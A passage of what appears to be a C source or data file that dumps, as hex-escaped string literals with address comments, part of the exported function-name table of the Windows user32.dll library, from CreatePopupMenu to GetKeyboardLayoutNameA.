"\x75\x00\x43\x72\x65\x61\x74\x65\x50\x6F\x70\x75\x70\x4D\x65\x6E" //u.CreatePopupMen /* 7E417F00 */ "\x75\x00\x43\x72\x65\x61\x74\x65\x53\x79\x73\x74\x65\x6D\x54\x68" //u.CreateSystemTh /* 7E417F20 */ "\x72\x65\x61\x64\x73\x00\x43\x72\x65\x61\x74\x65\x57\x69\x6E\x64" //reads.CreateWind /* 7E417F40 */ "\x6F\x77\x45\x78\x41\x00\x43\x72\x65\x61\x74\x65\x57\x69\x6E\x64" //owExA.CreateWind /* 7E417F60 */ "\x6F\x77\x45\x78\x57\x00\x43\x72\x65\x61\x74\x65\x57\x69\x6E\x64" //owExW.CreateWind /* 7E417F80 */ "\x6F\x77\x53\x74\x61\x74\x69\x6F\x6E\x41\x00\x43\x72\x65\x61\x74" //owStationA.Creat /* 7E417FA0 */ "\x65\x57\x69\x6E\x64\x6F\x77\x53\x74\x61\x74\x69\x6F\x6E\x57\x00" //eWindowStationW. /* 7E417FC0 */ "\x43\x73\x72\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x53\x79\x73\x74" //CsrBroadcastSyst /* 7E417FE0 */ "\x65\x6D\x4D\x65\x73\x73\x61\x67\x65\x45\x78\x57\x00\x43\x74\x78" //emMessageExW.Ctx /* 7E418000 */ "\x49\x6E\x69\x74\x55\x73\x65\x72\x33\x32\x00\x44\x64\x65\x41\x62" //InitUser32.DdeAb /* 7E418020 */ "\x61\x6E\x64\x6F\x6E\x54\x72\x61\x6E\x73\x61\x63\x74\x69\x6F\x6E" //andonTransaction /* 7E418040 */ "\x00\x44\x64\x65\x41\x63\x63\x65\x73\x73\x44\x61\x74\x61\x00\x44" //.DdeAccessData.D /* 7E418060 */ "\x64\x65\x41\x64\x64\x44\x61\x74\x61\x00\x44\x64\x65\x43\x6C\x69" //deAddData.DdeCli /* 7E418080 */ "\x65\x6E\x74\x54\x72\x61\x6E\x73\x61\x63\x74\x69\x6F\x6E\x00\x44" //entTransaction.D /* 7E4180A0 */ "\x64\x65\x43\x6D\x70\x53\x74\x72\x69\x6E\x67\x48\x61\x6E\x64\x6C" //deCmpStringHandl /* 7E4180C0 */ "\x65\x73\x00\x44\x64\x65\x43\x6F\x6E\x6E\x65\x63\x74\x00\x44\x64" //es.DdeConnect.Dd /* 7E4180E0 */ "\x65\x43\x6F\x6E\x6E\x65\x63\x74\x4C\x69\x73\x74\x00\x44\x64\x65" //eConnectList.Dde /* 7E418100 */ "\x43\x72\x65\x61\x74\x65\x44\x61\x74\x61\x48\x61\x6E\x64\x6C\x65" //CreateDataHandle /* 7E418120 */ "\x00\x44\x64\x65\x43\x72\x65\x61\x74\x65\x53\x74\x72\x69\x6E\x67" //.DdeCreateString /* 7E418140 */ "\x48\x61\x6E\x64\x6C\x65\x41\x00\x44\x64\x65\x43\x72\x65\x61\x74" //HandleA.DdeCreat /* 7E418160 */ "\x65\x53\x74\x72\x69\x6E\x67\x48\x61\x6E\x64\x6C\x65\x57\x00\x44" //eStringHandleW.D /* 7E418180 */ "\x64\x65\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x00\x44\x64\x65" //deDisconnect.Dde /* 7E4181A0 */ "\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x4C\x69\x73\x74\x00\x44" //DisconnectList.D /* 7E4181C0 */ "\x64\x65\x45\x6E\x61\x62\x6C\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B" //deEnableCallback /* 7E4181E0 */ "\x00\x44\x64\x65\x46\x72\x65\x65\x44\x61\x74\x61\x48\x61\x6E\x64" //.DdeFreeDataHand /* 7E418200 */ "\x6C\x65\x00\x44\x64\x65\x46\x72\x65\x65\x53\x74\x72\x69\x6E\x67" //le.DdeFreeString /* 7E418220 */ "\x48\x61\x6E\x64\x6C\x65\x00\x44\x64\x65\x47\x65\x74\x44\x61\x74" //Handle.DdeGetDat /* 7E418240 */ "\x61\x00\x44\x64\x65\x47\x65\x74\x4C\x61\x73\x74\x45\x72\x72\x6F" //a.DdeGetLastErro /* 7E418260 */ "\x72\x00\x44\x64\x65\x47\x65\x74\x51\x75\x61\x6C\x69\x74\x79\x4F" //r.DdeGetQualityO /* 7E418280 */ "\x66\x53\x65\x72\x76\x69\x63\x65\x00\x44\x64\x65\x49\x6D\x70\x65" //fService.DdeImpe /* 7E4182A0 */ "\x72\x73\x6F\x6E\x61\x74\x65\x43\x6C\x69\x65\x6E\x74\x00\x44\x64" //rsonateClient.Dd /* 7E4182C0 */ "\x65\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x41\x00\x44\x64\x65" //eInitializeA.Dde /* 7E4182E0 */ "\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x57\x00\x44\x64\x65\x4B" //InitializeW.DdeK /* 7E418300 */ "\x65\x65\x70\x53\x74\x72\x69\x6E\x67\x48\x61\x6E\x64\x6C\x65\x00" //eepStringHandle. /* 7E418320 */ "\x44\x64\x65\x4E\x61\x6D\x65\x53\x65\x72\x76\x69\x63\x65\x00\x44" //DdeNameService.D /* 7E418340 */ "\x64\x65\x50\x6F\x73\x74\x41\x64\x76\x69\x73\x65\x00\x44\x64\x65" //dePostAdvise.Dde /* 7E418360 */ "\x51\x75\x65\x72\x79\x43\x6F\x6E\x76\x49\x6E\x66\x6F\x00\x44\x64" //QueryConvInfo.Dd /* 7E418380 */ "\x65\x51\x75\x65\x72\x79\x4E\x65\x78\x74\x53\x65\x72\x76\x65\x72" //eQueryNextServer /* 7E4183A0 */ "\x00\x44\x64\x65\x51\x75\x65\x72\x79\x53\x74\x72\x69\x6E\x67\x41" //.DdeQueryStringA /* 7E4183C0 */ "\x00\x44\x64\x65\x51\x75\x65\x72\x79\x53\x74\x72\x69\x6E\x67\x57" //.DdeQueryStringW /* 7E4183E0 */ "\x00\x44\x64\x65\x52\x65\x63\x6F\x6E\x6E\x65\x63\x74\x00\x44\x64" //.DdeReconnect.Dd /* 7E418400 */ "\x65\x53\x65\x74\x51\x75\x61\x6C\x69\x74\x79\x4F\x66\x53\x65\x72" //eSetQualityOfSer /* 7E418420 */ "\x76\x69\x63\x65\x00\x44\x64\x65\x53\x65\x74\x55\x73\x65\x72\x48" //vice.DdeSetUserH /* 7E418440 */ "\x61\x6E\x64\x6C\x65\x00\x44\x64\x65\x55\x6E\x61\x63\x63\x65\x73" //andle.DdeUnacces /* 7E418460 */ "\x73\x44\x61\x74\x61\x00\x44\x64\x65\x55\x6E\x69\x6E\x69\x74\x69" //sData.DdeUniniti /* 7E418480 */ "\x61\x6C\x69\x7A\x65\x00\x44\x65\x66\x44\x6C\x67\x50\x72\x6F\x63" //alize.DefDlgProc /* 7E4184A0 */ "\x41\x00\x44\x65\x66\x44\x6C\x67\x50\x72\x6F\x63\x57\x00\x44\x65" //A.DefDlgProcW.De /* 7E4184C0 */ "\x66\x46\x72\x61\x6D\x65\x50\x72\x6F\x63\x41\x00\x44\x65\x66\x46" //fFrameProcA.DefF /* 7E4184E0 */ "\x72\x61\x6D\x65\x50\x72\x6F\x63\x57\x00\x44\x65\x66\x4D\x44\x49" //rameProcW.DefMDI /* 7E418500 */ "\x43\x68\x69\x6C\x64\x50\x72\x6F\x63\x41\x00\x44\x65\x66\x4D\x44" //ChildProcA.DefMD /* 7E418520 */ "\x49\x43\x68\x69\x6C\x64\x50\x72\x6F\x63\x57\x00\x44\x65\x66\x52" //IChildProcW.DefR /* 7E418540 */ "\x61\x77\x49\x6E\x70\x75\x74\x50\x72\x6F\x63\x00\x44\x65\x66\x57" //awInputProc.DefW /* 7E418560 */ "\x69\x6E\x64\x6F\x77\x50\x72\x6F\x63\x41\x00\x44\x65\x66\x57\x69" //indowProcA.DefWi /* 7E418580 */ "\x6E\x64\x6F\x77\x50\x72\x6F\x63\x57\x00\x44\x65\x66\x65\x72\x57" //ndowProcW.DeferW /* 7E4185A0 */ "\x69\x6E\x64\x6F\x77\x50\x6F\x73\x00\x44\x65\x6C\x65\x74\x65\x4D" //indowPos.DeleteM /* 7E4185C0 */ "\x65\x6E\x75\x00\x44\x65\x72\x65\x67\x69\x73\x74\x65\x72\x53\x68" //enu.DeregisterSh /* 7E4185E0 */ "\x65\x6C\x6C\x48\x6F\x6F\x6B\x57\x69\x6E\x64\x6F\x77\x00\x44\x65" //ellHookWindow.De /* 7E418600 */ "\x73\x74\x72\x6F\x79\x41\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72" //stroyAccelerator /* 7E418620 */ "\x54\x61\x62\x6C\x65\x00\x44\x65\x73\x74\x72\x6F\x79\x43\x61\x72" //Table.DestroyCar /* 7E418640 */ "\x65\x74\x00\x44\x65\x73\x74\x72\x6F\x79\x43\x75\x72\x73\x6F\x72" //et.DestroyCursor /* 7E418660 */ "\x00\x44\x65\x73\x74\x72\x6F\x79\x49\x63\x6F\x6E\x00\x44\x65\x73" //.DestroyIcon.Des /* 7E418680 */ "\x74\x72\x6F\x79\x4D\x65\x6E\x75\x00\x44\x65\x73\x74\x72\x6F\x79" //troyMenu.Destroy /* 7E4186A0 */ "\x52\x65\x61\x73\x6F\x6E\x73\x00\x44\x65\x73\x74\x72\x6F\x79\x57" //Reasons.DestroyW /* 7E4186C0 */ "\x69\x6E\x64\x6F\x77\x00\x44\x65\x76\x69\x63\x65\x45\x76\x65\x6E" //indow.DeviceEven /* 7E4186E0 */ "\x74\x57\x6F\x72\x6B\x65\x72\x00\x44\x69\x61\x6C\x6F\x67\x42\x6F" //tWorker.DialogBo /* 7E418700 */ "\x78\x49\x6E\x64\x69\x72\x65\x63\x74\x50\x61\x72\x61\x6D\x41\x00" //xIndirectParamA. /* 7E418720 */ "\x44\x69\x61\x6C\x6F\x67\x42\x6F\x78\x49\x6E\x64\x69\x72\x65\x63" //DialogBoxIndirec /* 7E418740 */ "\x74\x50\x61\x72\x61\x6D\x41\x6F\x72\x57\x00\x44\x69\x61\x6C\x6F" //tParamAorW.Dialo /* 7E418760 */ "\x67\x42\x6F\x78\x49\x6E\x64\x69\x72\x65\x63\x74\x50\x61\x72\x61" //gBoxIndirectPara /* 7E418780 */ "\x6D\x57\x00\x44\x69\x61\x6C\x6F\x67\x42\x6F\x78\x50\x61\x72\x61" //mW.DialogBoxPara /* 7E4187A0 */ "\x6D\x41\x00\x44\x69\x61\x6C\x6F\x67\x42\x6F\x78\x50\x61\x72\x61" //mA.DialogBoxPara /* 7E4187C0 */ "\x6D\x57\x00\x44\x69\x73\x61\x62\x6C\x65\x50\x72\x6F\x63\x65\x73" //mW.DisableProces /* 7E4187E0 */ "\x73\x57\x69\x6E\x64\x6F\x77\x73\x47\x68\x6F\x73\x74\x69\x6E\x67" //sWindowsGhosting /* 7E418800 */ "\x00\x44\x69\x73\x70\x61\x74\x63\x68\x4D\x65\x73\x73\x61\x67\x65" //.DispatchMessage /* 7E418820 */ "\x41\x00\x44\x69\x73\x70\x61\x74\x63\x68\x4D\x65\x73\x73\x61\x67" //A.DispatchMessag /* 7E418840 */ "\x65\x57\x00\x44\x69\x73\x70\x6C\x61\x79\x45\x78\x69\x74\x57\x69" //eW.DisplayExitWi /* 7E418860 */ "\x6E\x64\x6F\x77\x73\x57\x61\x72\x6E\x69\x6E\x67\x73\x00\x44\x6C" //ndowsWarnings.Dl /* 7E418880 */ "\x67\x44\x69\x72\x4C\x69\x73\x74\x41\x00\x44\x6C\x67\x44\x69\x72" //gDirListA.DlgDir /* 7E4188A0 */ "\x4C\x69\x73\x74\x43\x6F\x6D\x62\x6F\x42\x6F\x78\x41\x00\x44\x6C" //ListComboBoxA.Dl /* 7E4188C0 */ "\x67\x44\x69\x72\x4C\x69\x73\x74\x43\x6F\x6D\x62\x6F\x42\x6F\x78" //gDirListComboBox /* 7E4188E0 */ "\x57\x00\x44\x6C\x67\x44\x69\x72\x4C\x69\x73\x74\x57\x00\x44\x6C" //W.DlgDirListW.Dl /* 7E418900 */ "\x67\x44\x69\x72\x53\x65\x6C\x65\x63\x74\x43\x6F\x6D\x62\x6F\x42" //gDirSelectComboB /* 7E418920 */ "\x6F\x78\x45\x78\x41\x00\x44\x6C\x67\x44\x69\x72\x53\x65\x6C\x65" //oxExA.DlgDirSele /* 7E418940 */ "\x63\x74\x43\x6F\x6D\x62\x6F\x42\x6F\x78\x45\x78\x57\x00\x44\x6C" //ctComboBoxExW.Dl /* 7E418960 */ "\x67\x44\x69\x72\x53\x65\x6C\x65\x63\x74\x45\x78\x41\x00\x44\x6C" //gDirSelectExA.Dl /* 7E418980 */ "\x67\x44\x69\x72\x53\x65\x6C\x65\x63\x74\x45\x78\x57\x00\x44\x72" //gDirSelectExW.Dr /* 7E4189A0 */ "\x61\x67\x44\x65\x74\x65\x63\x74\x00\x44\x72\x61\x67\x4F\x62\x6A" //agDetect.DragObj /* 7E4189C0 */ "\x65\x63\x74\x00\x44\x72\x61\x77\x41\x6E\x69\x6D\x61\x74\x65\x64" //ect.DrawAnimated /* 7E4189E0 */ "\x52\x65\x63\x74\x73\x00\x44\x72\x61\x77\x43\x61\x70\x74\x69\x6F" //Rects.DrawCaptio /* 7E418A00 */ "\x6E\x00\x44\x72\x61\x77\x43\x61\x70\x74\x69\x6F\x6E\x54\x65\x6D" //n.DrawCaptionTem /* 7E418A20 */ "\x70\x41\x00\x44\x72\x61\x77\x43\x61\x70\x74\x69\x6F\x6E\x54\x65" //pA.DrawCaptionTe /* 7E418A40 */ "\x6D\x70\x57\x00\x44\x72\x61\x77\x45\x64\x67\x65\x00\x44\x72\x61" //mpW.DrawEdge.Dra /* 7E418A60 */ "\x77\x46\x6F\x63\x75\x73\x52\x65\x63\x74\x00\x44\x72\x61\x77\x46" //wFocusRect.DrawF /* 7E418A80 */ "\x72\x61\x6D\x65\x00\x44\x72\x61\x77\x46\x72\x61\x6D\x65\x43\x6F" //rame.DrawFrameCo /* 7E418AA0 */ "\x6E\x74\x72\x6F\x6C\x00\x44\x72\x61\x77\x49\x63\x6F\x6E\x00\x44" //ntrol.DrawIcon.D /* 7E418AC0 */ "\x72\x61\x77\x49\x63\x6F\x6E\x45\x78\x00\x44\x72\x61\x77\x4D\x65" //rawIconEx.DrawMe /* 7E418AE0 */ "\x6E\x75\x42\x61\x72\x00\x44\x72\x61\x77\x4D\x65\x6E\x75\x42\x61" //nuBar.DrawMenuBa /* 7E418B00 */ "\x72\x54\x65\x6D\x70\x00\x44\x72\x61\x77\x53\x74\x61\x74\x65\x41" //rTemp.DrawStateA /* 7E418B20 */ "\x00\x44\x72\x61\x77\x53\x74\x61\x74\x65\x57\x00\x44\x72\x61\x77" //.DrawStateW.Draw /* 7E418B40 */ "\x54\x65\x78\x74\x41\x00\x44\x72\x61\x77\x54\x65\x78\x74\x45\x78" //TextA.DrawTextEx /* 7E418B60 */ "\x41\x00\x44\x72\x61\x77\x54\x65\x78\x74\x45\x78\x57\x00\x44\x72" //A.DrawTextExW.Dr /* 7E418B80 */ "\x61\x77\x54\x65\x78\x74\x57\x00\x45\x64\x69\x74\x57\x6E\x64\x50" //awTextW.EditWndP /* 7E418BA0 */ "\x72\x6F\x63\x00\x45\x6D\x70\x74\x79\x43\x6C\x69\x70\x62\x6F\x61" //roc.EmptyClipboa /* 7E418BC0 */ "\x72\x64\x00\x45\x6E\x61\x62\x6C\x65\x4D\x65\x6E\x75\x49\x74\x65" //rd.EnableMenuIte /* 7E418BE0 */ "\x6D\x00\x45\x6E\x61\x62\x6C\x65\x53\x63\x72\x6F\x6C\x6C\x42\x61" //m.EnableScrollBa /* 7E418C00 */ "\x72\x00\x45\x6E\x61\x62\x6C\x65\x57\x69\x6E\x64\x6F\x77\x00\x45" //r.EnableWindow.E /* 7E418C20 */ "\x6E\x64\x44\x65\x66\x65\x72\x57\x69\x6E\x64\x6F\x77\x50\x6F\x73" //ndDeferWindowPos /* 7E418C40 */ "\x00\x45\x6E\x64\x44\x69\x61\x6C\x6F\x67\x00\x45\x6E\x64\x4D\x65" //.EndDialog.EndMe /* 7E418C60 */ "\x6E\x75\x00\x45\x6E\x64\x50\x61\x69\x6E\x74\x00\x45\x6E\x64\x54" //nu.EndPaint.EndT /* 7E418C80 */ "\x61\x73\x6B\x00\x45\x6E\x74\x65\x72\x52\x65\x61\x64\x65\x72\x4D" //ask.EnterReaderM /* 7E418CA0 */ "\x6F\x64\x65\x48\x65\x6C\x70\x65\x72\x00\x45\x6E\x75\x6D\x43\x68" //odeHelper.EnumCh /* 7E418CC0 */ "\x69\x6C\x64\x57\x69\x6E\x64\x6F\x77\x73\x00\x45\x6E\x75\x6D\x43" //ildWindows.EnumC /* 7E418CE0 */ "\x6C\x69\x70\x62\x6F\x61\x72\x64\x46\x6F\x72\x6D\x61\x74\x73\x00" //lipboardFormats. /* 7E418D00 */ "\x45\x6E\x75\x6D\x44\x65\x73\x6B\x74\x6F\x70\x57\x69\x6E\x64\x6F" //EnumDesktopWindo /* 7E418D20 */ "\x77\x73\x00\x45\x6E\x75\x6D\x44\x65\x73\x6B\x74\x6F\x70\x73\x41" //ws.EnumDesktopsA /* 7E418D40 */ "\x00\x45\x6E\x75\x6D\x44\x65\x73\x6B\x74\x6F\x70\x73\x57\x00\x45" //.EnumDesktopsW.E /* 7E418D60 */ "\x6E\x75\x6D\x44\x69\x73\x70\x6C\x61\x79\x44\x65\x76\x69\x63\x65" //numDisplayDevice /* 7E418D80 */ "\x73\x41\x00\x45\x6E\x75\x6D\x44\x69\x73\x70\x6C\x61\x79\x44\x65" //sA.EnumDisplayDe /* 7E418DA0 */ "\x76\x69\x63\x65\x73\x57\x00\x45\x6E\x75\x6D\x44\x69\x73\x70\x6C" //vicesW.EnumDispl /* 7E418DC0 */ "\x61\x79\x4D\x6F\x6E\x69\x74\x6F\x72\x73\x00\x45\x6E\x75\x6D\x44" //ayMonitors.EnumD /* 7E418DE0 */ "\x69\x73\x70\x6C\x61\x79\x53\x65\x74\x74\x69\x6E\x67\x73\x41\x00" //isplaySettingsA. /* 7E418E00 */ "\x45\x6E\x75\x6D\x44\x69\x73\x70\x6C\x61\x79\x53\x65\x74\x74\x69" //EnumDisplaySetti /* 7E418E20 */ "\x6E\x67\x73\x45\x78\x41\x00\x45\x6E\x75\x6D\x44\x69\x73\x70\x6C" //ngsExA.EnumDispl /* 7E418E40 */ "\x61\x79\x53\x65\x74\x74\x69\x6E\x67\x73\x45\x78\x57\x00\x45\x6E" //aySettingsExW.En /* 7E418E60 */ "\x75\x6D\x44\x69\x73\x70\x6C\x61\x79\x53\x65\x74\x74\x69\x6E\x67" //umDisplaySetting /* 7E418E80 */ "\x73\x57\x00\x45\x6E\x75\x6D\x50\x72\x6F\x70\x73\x41\x00\x45\x6E" //sW.EnumPropsA.En /* 7E418EA0 */ "\x75\x6D\x50\x72\x6F\x70\x73\x45\x78\x41\x00\x45\x6E\x75\x6D\x50" //umPropsExA.EnumP /* 7E418EC0 */ "\x72\x6F\x70\x73\x45\x78\x57\x00\x45\x6E\x75\x6D\x50\x72\x6F\x70" //ropsExW.EnumProp /* 7E418EE0 */ "\x73\x57\x00\x45\x6E\x75\x6D\x54\x68\x72\x65\x61\x64\x57\x69\x6E" //sW.EnumThreadWin /* 7E418F00 */ "\x64\x6F\x77\x73\x00\x45\x6E\x75\x6D\x57\x69\x6E\x64\x6F\x77\x53" //dows.EnumWindowS /* 7E418F20 */ "\x74\x61\x74\x69\x6F\x6E\x73\x41\x00\x45\x6E\x75\x6D\x57\x69\x6E" //tationsA.EnumWin /* 7E418F40 */ "\x64\x6F\x77\x53\x74\x61\x74\x69\x6F\x6E\x73\x57\x00\x45\x6E\x75" //dowStationsW.Enu /* 7E418F60 */ "\x6D\x57\x69\x6E\x64\x6F\x77\x73\x00\x45\x71\x75\x61\x6C\x52\x65" //mWindows.EqualRe /* 7E418F80 */ "\x63\x74\x00\x45\x78\x63\x6C\x75\x64\x65\x55\x70\x64\x61\x74\x65" //ct.ExcludeUpdate /* 7E418FA0 */ "\x52\x67\x6E\x00\x45\x78\x69\x74\x57\x69\x6E\x64\x6F\x77\x73\x45" //Rgn.ExitWindowsE /* 7E418FC0 */ "\x78\x00\x46\x69\x6C\x6C\x52\x65\x63\x74\x00\x46\x69\x6E\x64\x57" //x.FillRect.FindW /* 7E418FE0 */ "\x69\x6E\x64\x6F\x77\x41\x00\x46\x69\x6E\x64\x57\x69\x6E\x64\x6F" //indowA.FindWindo /* 7E419000 */ "\x77\x45\x78\x41\x00\x46\x69\x6E\x64\x57\x69\x6E\x64\x6F\x77\x45" //wExA.FindWindowE /* 7E419020 */ "\x78\x57\x00\x46\x69\x6E\x64\x57\x69\x6E\x64\x6F\x77\x57\x00\x46" //xW.FindWindowW.F /* 7E419040 */ "\x6C\x61\x73\x68\x57\x69\x6E\x64\x6F\x77\x00\x46\x6C\x61\x73\x68" //lashWindow.Flash /* 7E419060 */ "\x57\x69\x6E\x64\x6F\x77\x45\x78\x00\x46\x72\x61\x6D\x65\x52\x65" //WindowEx.FrameRe /* 7E419080 */ "\x63\x74\x00\x46\x72\x65\x65\x44\x44\x45\x6C\x50\x61\x72\x61\x6D" //ct.FreeDDElParam /* 7E4190A0 */ "\x00\x47\x65\x74\x41\x63\x74\x69\x76\x65\x57\x69\x6E\x64\x6F\x77" //.GetActiveWindow /* 7E4190C0 */ "\x00\x47\x65\x74\x41\x6C\x74\x54\x61\x62\x49\x6E\x66\x6F\x00\x47" //.GetAltTabInfo.G /* 7E4190E0 */ "\x65\x74\x41\x6C\x74\x54\x61\x62\x49\x6E\x66\x6F\x41\x00\x47\x65" //etAltTabInfoA.Ge /* 7E419100 */ "\x74\x41\x6C\x74\x54\x61\x62\x49\x6E\x66\x6F\x57\x00\x47\x65\x74" //tAltTabInfoW.Get /* 7E419120 */ "\x41\x6E\x63\x65\x73\x74\x6F\x72\x00\x47\x65\x74\x41\x70\x70\x43" //Ancestor.GetAppC /* 7E419140 */ "\x6F\x6D\x70\x61\x74\x46\x6C\x61\x67\x73\x00\x47\x65\x74\x41\x70" //ompatFlags.GetAp /* 7E419160 */ "\x70\x43\x6F\x6D\x70\x61\x74\x46\x6C\x61\x67\x73\x32\x00\x47\x65" //pCompatFlags2.Ge /* 7E419180 */ "\x74\x41\x73\x79\x6E\x63\x4B\x65\x79\x53\x74\x61\x74\x65\x00\x47" //tAsyncKeyState.G /* 7E4191A0 */ "\x65\x74\x43\x61\x70\x74\x75\x72\x65\x00\x47\x65\x74\x43\x61\x72" //etCapture.GetCar /* 7E4191C0 */ "\x65\x74\x42\x6C\x69\x6E\x6B\x54\x69\x6D\x65\x00\x47\x65\x74\x43" //etBlinkTime.GetC /* 7E4191E0 */ "\x61\x72\x65\x74\x50\x6F\x73\x00\x47\x65\x74\x43\x6C\x61\x73\x73" //aretPos.GetClass /* 7E419200 */ "\x49\x6E\x66\x6F\x41\x00\x47\x65\x74\x43\x6C\x61\x73\x73\x49\x6E" //InfoA.GetClassIn /* 7E419220 */ "\x66\x6F\x45\x78\x41\x00\x47\x65\x74\x43\x6C\x61\x73\x73\x49\x6E" //foExA.GetClassIn /* 7E419240 */ "\x66\x6F\x45\x78\x57\x00\x47\x65\x74\x43\x6C\x61\x73\x73\x49\x6E" //foExW.GetClassIn /* 7E419260 */ "\x66\x6F\x57\x00\x47\x65\x74\x43\x6C\x61\x73\x73\x4C\x6F\x6E\x67" //foW.GetClassLong /* 7E419280 */ "\x41\x00\x47\x65\x74\x43\x6C\x61\x73\x73\x4C\x6F\x6E\x67\x57\x00" //A.GetClassLongW. /* 7E4192A0 */ "\x47\x65\x74\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65\x41\x00\x47\x65" //GetClassNameA.Ge /* 7E4192C0 */ "\x74\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x43" //tClassNameW.GetC /* 7E4192E0 */ "\x6C\x61\x73\x73\x57\x6F\x72\x64\x00\x47\x65\x74\x43\x6C\x69\x65" //lassWord.GetClie /* 7E419300 */ "\x6E\x74\x52\x65\x63\x74\x00\x47\x65\x74\x43\x6C\x69\x70\x43\x75" //ntRect.GetClipCu /* 7E419320 */ "\x72\x73\x6F\x72\x00\x47\x65\x74\x43\x6C\x69\x70\x62\x6F\x61\x72" //rsor.GetClipboar /* 7E419340 */ "\x64\x44\x61\x74\x61\x00\x47\x65\x74\x43\x6C\x69\x70\x62\x6F\x61" //dData.GetClipboa /* 7E419360 */ "\x72\x64\x46\x6F\x72\x6D\x61\x74\x4E\x61\x6D\x65\x41\x00\x47\x65" //rdFormatNameA.Ge /* 7E419380 */ "\x74\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x46\x6F\x72\x6D\x61\x74" //tClipboardFormat /* 7E4193A0 */ "\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x43\x6C\x69\x70\x62\x6F\x61" //NameW.GetClipboa /* 7E4193C0 */ "\x72\x64\x4F\x77\x6E\x65\x72\x00\x47\x65\x74\x43\x6C\x69\x70\x62" //rdOwner.GetClipb /* 7E4193E0 */ "\x6F\x61\x72\x64\x53\x65\x71\x75\x65\x6E\x63\x65\x4E\x75\x6D\x62" //oardSequenceNumb /* 7E419400 */ "\x65\x72\x00\x47\x65\x74\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x56" //er.GetClipboardV /* 7E419420 */ "\x69\x65\x77\x65\x72\x00\x47\x65\x74\x43\x6F\x6D\x62\x6F\x42\x6F" //iewer.GetComboBo /* 7E419440 */ "\x78\x49\x6E\x66\x6F\x00\x47\x65\x74\x43\x75\x72\x73\x6F\x72\x00" //xInfo.GetCursor. /* 7E419460 */ "\x47\x65\x74\x43\x75\x72\x73\x6F\x72\x46\x72\x61\x6D\x65\x49\x6E" //GetCursorFrameIn /* 7E419480 */ "\x66\x6F\x00\x47\x65\x74\x43\x75\x72\x73\x6F\x72\x49\x6E\x66\x6F" //fo.GetCursorInfo /* 7E4194A0 */ "\x00\x47\x65\x74\x43\x75\x72\x73\x6F\x72\x50\x6F\x73\x00\x47\x65" //.GetCursorPos.Ge /* 7E4194C0 */ "\x74\x44\x43\x00\x47\x65\x74\x44\x43\x45\x78\x00\x47\x65\x74\x44" //tDC.GetDCEx.GetD /* 7E4194E0 */ "\x65\x73\x6B\x74\x6F\x70\x57\x69\x6E\x64\x6F\x77\x00\x47\x65\x74" //esktopWindow.Get /* 7E419500 */ "\x44\x69\x61\x6C\x6F\x67\x42\x61\x73\x65\x55\x6E\x69\x74\x73\x00" //DialogBaseUnits. /* 7E419520 */ "\x47\x65\x74\x44\x6C\x67\x43\x74\x72\x6C\x49\x44\x00\x47\x65\x74" //GetDlgCtrlID.Get /* 7E419540 */ "\x44\x6C\x67\x49\x74\x65\x6D\x00\x47\x65\x74\x44\x6C\x67\x49\x74" //DlgItem.GetDlgIt /* 7E419560 */ "\x65\x6D\x49\x6E\x74\x00\x47\x65\x74\x44\x6C\x67\x49\x74\x65\x6D" //emInt.GetDlgItem /* 7E419580 */ "\x54\x65\x78\x74\x41\x00\x47\x65\x74\x44\x6C\x67\x49\x74\x65\x6D" //TextA.GetDlgItem /* 7E4195A0 */ "\x54\x65\x78\x74\x57\x00\x47\x65\x74\x44\x6F\x75\x62\x6C\x65\x43" //TextW.GetDoubleC /* 7E4195C0 */ "\x6C\x69\x63\x6B\x54\x69\x6D\x65\x00\x47\x65\x74\x46\x6F\x63\x75" //lickTime.GetFocu /* 7E4195E0 */ "\x73\x00\x47\x65\x74\x46\x6F\x72\x65\x67\x72\x6F\x75\x6E\x64\x57" //s.GetForegroundW /* 7E419600 */ "\x69\x6E\x64\x6F\x77\x00\x47\x65\x74\x47\x55\x49\x54\x68\x72\x65" //indow.GetGUIThre /* 7E419620 */ "\x61\x64\x49\x6E\x66\x6F\x00\x47\x65\x74\x47\x75\x69\x52\x65\x73" //adInfo.GetGuiRes /* 7E419640 */ "\x6F\x75\x72\x63\x65\x73\x00\x47\x65\x74\x49\x63\x6F\x6E\x49\x6E" //ources.GetIconIn /* 7E419660 */ "\x66\x6F\x00\x47\x65\x74\x49\x6E\x70\x75\x74\x44\x65\x73\x6B\x74" //fo.GetInputDeskt /* 7E419680 */ "\x6F\x70\x00\x47\x65\x74\x49\x6E\x70\x75\x74\x53\x74\x61\x74\x65" //op.GetInputState /* 7E4196A0 */ "\x00\x47\x65\x74\x49\x6E\x74\x65\x72\x6E\x61\x6C\x57\x69\x6E\x64" //.GetInternalWind /* 7E4196C0 */ "\x6F\x77\x50\x6F\x73\x00\x47\x65\x74\x4B\x42\x43\x6F\x64\x65\x50" //owPos.GetKBCodeP /* 7E4196E0 */ "\x61\x67\x65\x00\x47\x65\x74\x4B\x65\x79\x4E\x61\x6D\x65\x54\x65" //age.GetKeyNameTe /* 7E419700 */ "\x78\x74\x41\x00\x47\x65\x74\x4B\x65\x79\x4E\x61\x6D\x65\x54\x65" //xtA.GetKeyNameTe /* 7E419720 */ "\x78\x74\x57\x00\x47\x65\x74\x4B\x65\x79\x53\x74\x61\x74\x65\x00" //xtW.GetKeyState. /* 7E419740 */ "\x47\x65\x74\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79\x6F\x75" //GetKeyboardLayou /* 7E419760 */ "\x74\x00\x47\x65\x74\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79" //t.GetKeyboardLay /* 7E419780 */ "\x6F\x75\x74\x4C\x69\x73\x74\x00\x47\x65\x74\x4B\x65\x79\x62\x6F" //outList.GetKeybo /* 7E4197A0 */ "\x61\x72\x64\x4C\x61\x79\x6F\x75\x74\x4E\x61\x6D\x65\x41\x00\x47" //ardLayoutNameA.G /* 7E4197C0 */ 